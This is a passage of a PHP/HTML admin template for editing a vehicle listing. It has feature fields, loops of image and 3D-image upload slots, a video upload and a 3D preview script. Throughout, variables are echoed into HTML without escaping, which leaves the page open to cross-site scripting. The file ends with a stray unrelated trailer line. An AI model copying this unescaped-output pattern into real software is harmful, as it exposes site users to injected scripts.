														<input type="text" name="refrigerator" value="<?php echo $refrigerator;  ?>"  class="form-control">
													  </div>
													</div>

												</div>
											  </div>
											
											</div>
											<div class="col-lg-6 col-sm-12">
											  <div class="">
												<div class="card-body">
													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label"> Roof Vents</label>
													  <div class="col-sm-7">
														<input type="text" name="roof_vents" value="<?php echo $roof_vents;  ?>"  class="form-control">
													  </div>
													</div>
							
													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Exterior Speakers</label>
													  <div class="col-sm-7">
														<input type="text" name="exterior_speakers" value="<?php echo $exterior_speakers;  ?>"  class="form-control">
													  </div>
													</div>


													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Hitch</label>
													  <div class="col-sm-7">
														<input type="text" name="hitch" value="<?php echo $hitch;  ?>"  class="form-control">
													  </div>
													</div>
													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Booth Dinette</label>
													  <div class="col-sm-7">
														<input type="text" name="booth_dinette" value="<?php echo $booth_dinette;  ?>"  class="form-control">
													  </div>
													</div>
													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Skylight</label>
													  <div class="col-sm-7">
														<input type="text" name="skylight" value="<?php echo $skylight;  ?>"  class="form-control">
													  </div>
													</div>

													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Slideout</label>
													  <div class="col-sm-7">
														<input type="text" name="slideout" value="<?php echo $slideout;  ?>"  class="form-control">
													  </div>
													</div>

													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Bunk Beds</label>
													  <div class="col-sm-7">
														<input type="text" name="bunk_beds" value="<?php echo $bunk_beds;  ?>"  class="form-control">
													  </div>
													</div>

													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Medicine Cabinet</label>
													  <div class="col-sm-7">
														<input type="text" name="medicine_cabinet" value="<?php echo $medicine_cabinet;  ?>"  class="form-control">
													  </div>
													</div>

											
													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Shower</label>
													  <div class="col-sm-7">
														<input type="text" name="shower" value="<?php echo $shower;  ?>"  class="form-control">
													  </div>
													</div>

													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Toilet</label>
													  <div class="col-sm-7">
														<input type="text" name="toilet" value="<?php echo $toilet;  ?>"  class="form-control">
													  </div>
													</div>

													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">Power Roof Vent</label>
													  <div class="col-sm-7">
														<input type="text" name="power_roof_vent" value="<?php echo $power_roof_vent;  ?>"  class="form-control">
													  </div>
													</div>

												</div>
											 </div>
											</div>
										</div>

									   <!-- End Form  -->
									</div>
									
									<div class="col-xl-12 col-md-12 col-lg-12 card">
									  <h4>Pic</h4><HR/>
									  <div class="card-body">
										<div class="row" >
										
										<?php for( $i=1; $i < 21 ; $i++ ) { ?>
											<div class="col-lg-6 col-sm-12"  >
											 <div class="form-group row">
												
												<div class="col-lg-12 col-sm-12"  >
												  <strong>Pic <?php echo $i;  ?></strong><BR/> 
												  <input type="file" name="v_image<?php echo $i;  ?>" class="form-control">
												 
												  <?php 
												  
													$imgpre			= 'v_imageprev'.$i;	
													echo  $imgrev  = $$imgpre;

													$delimg			= 'del_v_imageprev'.$i;	
													$delimgName			= $$delimg;
												  ?>
													<input type="hidden" name="todel_img_name<?php echo $i;  ?>" value="<?php echo $delimgName; ?>"  class="form-control">						
													<div class="row" >
														<label class="col-sm-6 col-xs-9 form-control-label">Delete Image :</label>
														<select name="delete_img_flag<?php echo $i;  ?>" class="col-sm-6 col-xs-5 form-control-label" style="border:1px solid #ccc; "  >
															<option value="0" selected >No</option>
															<option value="1"  >Yes</option>
														</select>
													</div>
												</div>
											 </div>
											</div>
										<?php } ?>

										<HR/>
										<div class="col-lg-12 col-sm-12"  >
											<div class="row" style="padding-top: 20px; border-top:1px solid #ccc; ">
												<div class="col-lg-12 col-sm-12"  >
												  Upload Video
												</div>
												<div class="col-lg-12 col-sm-12 "  >
													<input type="file" name="item_video"  id="item_video" class="form-control" >	
													<?php if($videoFlag  == 1) { ?>
													<video width="450" height="350" controls>
													  <source src="<?php echo $videopath; ?>" type="video/mp4">
													  <source src="<?php echo $videopath; ?>" type="video/ogg">							
													</video>
													<label class="col-sm-6 form-control-label">Delete Image :</label>												
													<input type="text" name="old_item_video" value="<?php echo $item_video; ?>"  class="form-control">	
													<select name="delete_item_video" class="col-sm-6 form-control-label" style="border:1px solid #ccc;">
														<option value="0" selected >No</option>
														<option value="1"  >Yes</option>
													</select>
													<?php } ?>
												</div>
											</div>
											<HR/>
										</div>

										
										<div class="col-lg-12 col-sm-12"  >
											<strong>Upload Images to 3d view</strong><BR/>
											<div class="row" >
											<?php for( $i=1; $i < 31 ; $i++ ) { ?>
												<div class="col-lg-6 col-sm-12"  >
												 <div class="form-group row">
													
													<div class="col-lg-12 col-sm-12"  >
													   <strong>Pic <?php echo $i;  ?></strong> <BR/>
													  <input type="file" name="v_3dimage<?php echo $i;  ?>" class="form-control">
													 
													  <?php 
													  
														$imgpre			= 'v_3dimageprev'.$i;	
														
														//echo $v_3dimageprev1; exit;
														echo  $imgrev  = $$imgpre;

														$delimg			= 'del_v_3dimageprev'.$i;	
														$delimgName			= $$delimg;
													  ?>
														<input type="hidden" name="todel_3dimg_name<?php echo $i;  ?>" value="<?php echo $delimgName; ?>"  class="form-control">						
														<div class="row" >
															<label class="col-sm-6 form-control-label">Delete Image :</label>
															<select name="delete_3dimg_flag<?php echo $i;  ?>" class="col-sm-6 form-control-label" style="border:1px solid #ccc;" >
																<option value="0" selected >No</option>
																<option value="1"  >Yes</option>
															</select>
														</div>
													</div>
												 </div>
												</div>
											<?php } ?>
											</div>
										</div>
										<HR/><BR/>
										<!--  -->
									</div>
									<div class="row" style="padding-top: 20px; border-top:1px solid #ccc; ">
										
										<div class="col-lg-3 col-sm-12"  >
											<strong>Show Image type</strong>
										</div>
										<div class="col-lg-2 col-sm-12"  >
										 <input type="radio" name="v_show_image_type" id="v_show_image_type" <?php echo $non_select; ?> value="non" > No Image
										</div>
										<div class="col-lg-2 col-sm-12"  >
										 <input type="radio" name="v_show_image_type" id="v_show_image_type" <?php echo $normal_select; ?> value="normal" > Normal Image
										</div>
										<div class="col-lg-2 col-sm-12"  >
										 <input type="radio" name="v_show_image_type" id="v_show_image_type" <?php echo $d3_select; ?> value="3d" > 3D Image
										</div>
										<div class="col-lg-2 col-sm-12"  >
										 <input type="radio" name="v_show_image_type" id="v_show_image_type" <?php echo $video_select; ?> value="video"  > Video
										</div>
										
									</div>
									<div class="row" style="padding-top: 20px; border-top:1px solid #ccc; ">
										<div class="col-lg-12 col-sm-12"  >
										</div>
										
										<div class="col-lg-12 col-sm-12"  >
										  <strong>3D image preview</strong>
										</div>
										<div class="col-lg-9 col-sm-12"  >
										<div class="rotatebox">
											<div class="images"> </div>
											<div class="slider"></div>
										</div>
										<script>
										<!--
										rotate([
										
										  <?php foreach($threed_image_array AS $key=>$val ){ ?>
										  "<?php echo $val; ?>",				 
										<?php } ?>
										]);
										-->
										</script>
										</div>
										</div>
										<div class="col-lg-12 col-sm-12"  >
									</div>
										<HR/><BR/><BR/>
										<!--  -->

										<div class="col-lg-12 col-sm-12"  >
											<div class="form-group row" style="padding-top: 20px; border-top:1px solid #ccc; ">												
												<strong>Description</strong> <BR style="clear:both;" >	<BR style="clear:both;" >												
												<div class="col-lg-12 col-sm-12"  >
													<textarea name="tx_description" class="form-control"><?php echo stripslashes($tx_description);  ?></textarea>
												</div>
											</div>
										</div>

										</div>
									  </div>
									</div>

									<div class="col-xl-12 col-md-12 col-lg-12 ">
									  <div class="row">
										<div class="col-lg-12 col-sm-12"><BR/>
											<input type="hidden" name="submitForm" value="yes"  class="form-control">
											<input type="hidden" name="i_itemID" value="<?php echo $i_itemID; ?>"  class="form-control">
											<button type="submit" class="btn btn-primary" style="margin-bottom:20px;background-color:#4AAA52;"  >Update</button><button type="reset" class="btn btn-secondary" style="margin-left:20px;margin-bottom:20px;" >Cancel</button>
										</div>
										
									  </div>
									</div>
								  </div>
								</div>
								</form>
						</section>
                        

						<div class="col-sm-12" style="margin-top:2px;" >
						 <?php echo $footer_desc_str; ?>
						</div>
                    </div><!-- /.col-lg-8 -->

                </div><!-- /.row -->
            </div><!-- /.container -->
        </div><!-- /.blog blog-single -->
		<!--End AAAAAAAAAAAAAAAAAAAAAAAAAAAAA -->
	</div><!-- /.page-wrapper -->

	<footer class="crop">
		<?php  require_once($ROOT_DIR.'/page_content/us/common/footer_middle.php'); ?>
		<?php require_once($ROOT_DIR.'/page_content/us/common/footer_bottom.php'); ?>
	</footer>
    <a href="#" data-target="html" class="scroll-to-target scroll-to-top"><i class="fa fa-long-arrow-up"></i></a>
    <!-- /.scroll-to-top -->
	<?php // require_once($ROOT_DIR.'/page_content/us/common/footer_js.php'); ?>

		<script >
		   $('#partner_tab_2').hide();
		   $(".tabparner").on("click", function(){
			var tabparner_id = $(this).attr('id');
				//alert("The paragraph was clicked." + tabparner_id);
				if( tabparner_id == 'tab_1' ){
					$("#tab_1").addClass("activetab");
					$("#tab_1").removeClass("deactivetab");
					$("#tab_2").removeClass("activetab");
					$("#tab_2").addClass("deactivetab");
					$('#partner_tab_1').show();
					$('#partner_tab_2').hide();
				}
				
				if( tabparner_id == 'tab_2' ){
					$("#tab_2").addClass("activetab");
					$("#tab_2").removeClass("deactivetab");
					$("#tab_1").removeClass("activetab");
					$("#tab_1").addClass("deactivetab");
					$('#partner_tab_1').hide();
					$('#partner_tab_2').show();
				}
				
		   }); 


		
		</script>


    </body>
</html>

Anon7 - 2022
SCDN GOK